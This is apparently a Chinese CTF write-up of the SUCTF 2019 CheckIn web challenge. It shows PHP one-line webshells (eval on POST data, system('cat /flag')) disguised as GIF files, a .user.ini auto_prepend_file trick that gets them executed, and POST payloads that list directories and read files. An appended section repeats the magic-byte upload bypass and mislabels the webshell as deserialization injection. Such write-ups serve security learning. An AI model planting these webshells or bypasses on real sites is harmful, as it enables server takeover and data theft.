BUUCTF [SUCTF 2019]CheckIn 1

BUUCTF [SUCTF 2019]CheckIn 1

在这里插入图片描述
文件包含,一句话木马上传。
直接上传一句话木马<?php eval($_POST['a']);?>
在这里插入图片描述
在这里插入图片描述
非法后缀
那就改后缀绕过,通常有phtml php3 php4 php5 Php php (空格) php pphphp
都试试,都不行。
这时候可以用图片上传。
在一个文件夹中随便复制粘贴来一张照片,创建一个txt文本,输入

GIF89a
<script language=php>eval($_POST['a']);</script>

因为就算是png,jpg等图片类型,还会检查文件内容头,所以用GIF89a
在这里插入图片描述
用script是因为过滤了<?
![在这里插入图片描述](https://img-blog.csdnimg.cn/2021011714232512.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY0MjYxMA==,size_16,color_FFFFFF,t_70
改后缀名为png,上传
(如果随便用一个图片在命令提示符里输入copy xx.png/b + xx.php/a script_a.png再上传script_a.png会报<?错,因为图片转码后含有<?用burp抓包可见)

在这里插入图片描述

your dir....是你上传在后台的目录路径
your file是该目录下有什么文件,有index.php 和 12.png
试试用蚁剑连接buuoj.cn/uploads/261fb642ce1427b99b76a1627f2a8907/12.png
连不上(why?)。试试用网页post,不行。因为绝大多数web服务器,都不允许静态文件响应POST请求。
在这里插入图片描述

这时index.php就有用了。
当服务器给后台返回php页面时,会按照一个php设置规定来返回页面
在这里插入图片描述
.user.ini可以在客户端规定这个设置。当我们访问index.php时,这个index.php会自动包含.user.ini,而我们设置这个配置文件,就可以插入后门或其他操作。具体参考user.ini文件构成的PHP后门
新建txt,输入

GIF89a
auto_prepend_file=12.png

改后缀名为.user.ini
在这里插入图片描述
在这里插入图片描述
访问.buuoj.cn/uploads/261fb642ce1427b99b76a1627f2a8907/index.php
让index.php包含12.png,用蚁剑连接。
在这里插入图片描述
或者在网页上posta=var_dump(scandir("/"));
在这里插入图片描述然后posta=var_dump(file_get_contents("/flag"));
在这里插入图片描述
或者在12.png里的代码换为

GIF89a
<script language='php'>system('cat /flag');</script>

那么访问index.php时会自动显示flag
在这里插入图片描述
参考
[SUCTF 2019]CheckIn
[SUCTF 2019]CheckIn

### SUCTF 2019 CheckIn 题目解析 #### 背景介绍 SUCTF 2019 的 `CheckIn` 是一道 Web 安全题目,主要考察参赛者对于文件上传漏洞的理解以及如何绕过后端的安全检测机制。 #### 文件上传安全检测 在该题目中,服务器使用了 `exif_imagetype()` 函数来验证上传文件是否为合法的图片格式。此函数通过读取文件头部信息中的特定签名来识别图像类型[^3]。然而,这种基于文件头的简单校验方式存在被攻击者利用的可能性。 #### 绕过方法 为了成功提交恶意脚本而不触发上述防护措施,可以采用如下策略: - **修改文件头**:在实际要执行的有效载荷之前附加一段符合目标图片格式标准的数据流。例如,在PHP代码前加入代表JPEG、GIF或PNG格式的魔数(Magic Number),使得即使内容并非真正的图形数据也能顺利通过检验。 具体操作可以在十六进制编辑工具如010Editor里完成,向待上传文件起始处写入相应类型的特征码: - 对于JPG文件应添加 `FF D8 FF E0 00 10 4A 46 49 46` - GIF则需插入字符串 `"GIF89a"` - PNG对应的是序列 `89 50 4E 47` 这样处理后的文件既满足表象上的合法性又暗藏可被执行的指令片段[^2]。 #### 实现过程 创建一个特制的小型Webshell作为测试样本,这里选用了一种常见的单行反序列化命令注入形式,并伪装成GIF图档的形式发送给远程主机。注意去除敏感字符以免引起不必要的过滤拦截。 ```php <?php @eval($_POST['messi']);?> ``` 将其转换为适合传输的状态——即前面提到过的带有虚假图片标识的部分,最终形成完整的payload之后再实施递交动作。一旦部署完毕即可借助客户端发起请求激活隐藏功能获取进一步控制权或者直接读取指定路径下的敏感资料比如 `/flag` 来完成挑战任务[^1]。 ---
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值